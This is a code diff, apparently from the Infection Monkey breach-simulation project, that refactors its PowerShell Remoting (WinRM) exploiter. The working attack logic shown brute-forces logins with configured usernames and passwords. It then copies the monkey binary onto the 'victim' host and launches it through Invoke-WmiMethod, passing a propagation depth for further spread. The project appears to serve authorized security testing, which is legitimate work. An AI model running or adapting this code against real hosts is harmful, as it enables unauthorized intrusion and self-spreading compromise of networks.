diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index cafcebb3e..dd08bba5d 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -2,6 +2,7 @@ import logging import os import typing +import pypsrp import spnego from pypsrp.client import Client from pypsrp.powershell import PowerShell, RunspacePool @@ -25,7 +26,6 @@ TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin" class PowershellExploiter(HostExploiter): - # attack URLs _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" @@ -44,92 +44,74 @@ class PowershellExploiter(HostExploiter): logging.getLogger(package.__name__).setLevel(logging.ERROR) def _exploit_host(self): + result = self._attempt_exploitations() + if not result: + return False + + arch = self._get_host_arch() + self.is_32bit = arch == WIN_ARCH_32 + + self._write_virtual_file_to_local_path() + + self.monkey_path_on_victim = ( + self._config.dropper_target_path_win_32 + if self.is_32bit + else self._config.dropper_target_path_win_64 + ) + is_monkey_copy_successful = self._copy_monkey_binary_on_victim() + + if is_monkey_copy_successful: + self._execute_monkey_on_victim() + else: + return False + + return True + + def _attempt_exploitations(self) -> bool: try: - self.client = self.exploit_without_credentials() + self.client = self._exploit_without_credentials() except FailedExploitationError: LOG.info("Failed exploitation without credentials.") try: - self.client = self.exploit_with_usernames_only( + self.client = self._exploit_with_usernames_only( usernames=self._config.exploit_user_list ) except FailedExploitationError: LOG.info("Failed exploitation using configured usernames only.") try: - self.client = self.exploit_with_credentials( - self._config.get_exploit_user_password_pairs() + self.client = self._exploit_with_credentials( + credential_list=self._config.get_exploit_user_password_pairs() ) except FailedExploitationError: LOG.info("Failed exploitation using configured credentials. Quitting.") return False - arch = self.get_host_arch() - is_32bit = arch == WIN_ARCH_32 - - monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=is_32bit) - - # write virtual file to actual local file - with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: - with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: - monkey_local_file.write(monkey_virtual_file.read()) - - try: - if arch == WIN_ARCH_32: - monkey_path_on_victim = self._config.dropper_target_path_win_32 - else: - monkey_path_on_victim = self._config.dropper_target_path_win_64 - - self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim) - except Exception: - return False - finally: - os.remove(TEMP_MONKEY_BINARY_FILEPATH) - - monkey_params = build_monkey_commandline( - target_host=self.host, - depth=get_monkey_depth() - 1, - vulnerable_port=None, - location=monkey_path_on_victim, - ) - - monkey_execution_command = RUN_MONKEY % { - "monkey_path": monkey_path_on_victim, - "monkey_type": DROPPER_ARG, - "parameters": monkey_params, - } - - with self.client.wsman, RunspacePool(self.client.wsman) as pool: - ps = PowerShell(pool) - ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( - "name", "create" - ).add_parameter("ArgumentList", monkey_execution_command) - ps.invoke() - return True - def exploit_without_credentials(self) -> Client: - return self.try_exploit() + def _exploit_without_credentials(self) -> Client: + return self._try_exploit() - def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: + def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: for username in usernames: try: - client = self.try_exploit(username) + client = self._try_exploit(username) return client except FailedExploitationError: pass raise FailedExploitationError - def exploit_with_credentials( + def _exploit_with_credentials( self, credential_list: typing.List[typing.Tuple[str, str]] ) -> Client: for username, password in credential_list: try: - client = self.try_exploit(username, password) + client = self._try_exploit(username, password) return client except FailedExploitationError: pass raise FailedExploitationError - def try_exploit( + def _try_exploit( self, username: typing.Optional[str] = None, password: typing.Optional[str] = None ) -> Client: try: @@ -145,13 +127,50 @@ class PowershellExploiter(HostExploiter): except Exception: raise FailedExploitationError - def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: - output = self.execute_cmd_on_host(GET_ARCH_WINDOWS) + def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: + output = self._execute_cmd_on_host(GET_ARCH_WINDOWS) if "64-bit" in output: return WIN_ARCH_64 else: return WIN_ARCH_32 - def execute_cmd_on_host(self, cmd: str) -> str: + def _execute_cmd_on_host(self, cmd: str) -> str: output, _, _ = self.client.execute_cmd(cmd) return output + + def _write_virtual_file_to_local_path(self) -> None: + monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit) + + with monkeyfs.open(monkey_fs_path) as monkey_virtual_file: + with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file: + monkey_local_file.write(monkey_virtual_file.read()) + + def _copy_monkey_binary_on_victim(self) -> bool: + try: + self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim) + return True + except Exception: + return False + finally: + os.remove(TEMP_MONKEY_BINARY_FILEPATH) + + def _execute_monkey_on_victim(self) -> None: + monkey_params = build_monkey_commandline( + target_host=self.host, + depth=get_monkey_depth() - 1, + vulnerable_port=None, + location=self.monkey_path_on_victim, + ) + + monkey_execution_command = RUN_MONKEY % { + "monkey_path": self.monkey_path_on_victim, + "monkey_type": DROPPER_ARG, + "parameters": monkey_params, + } + + with self.client.wsman, RunspacePool(self.client.wsman) as pool: + ps = PowerShell(pool) + ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter( + "name", "create" + ).add_parameter("ArgumentList", monkey_execution_command) + ps.invoke()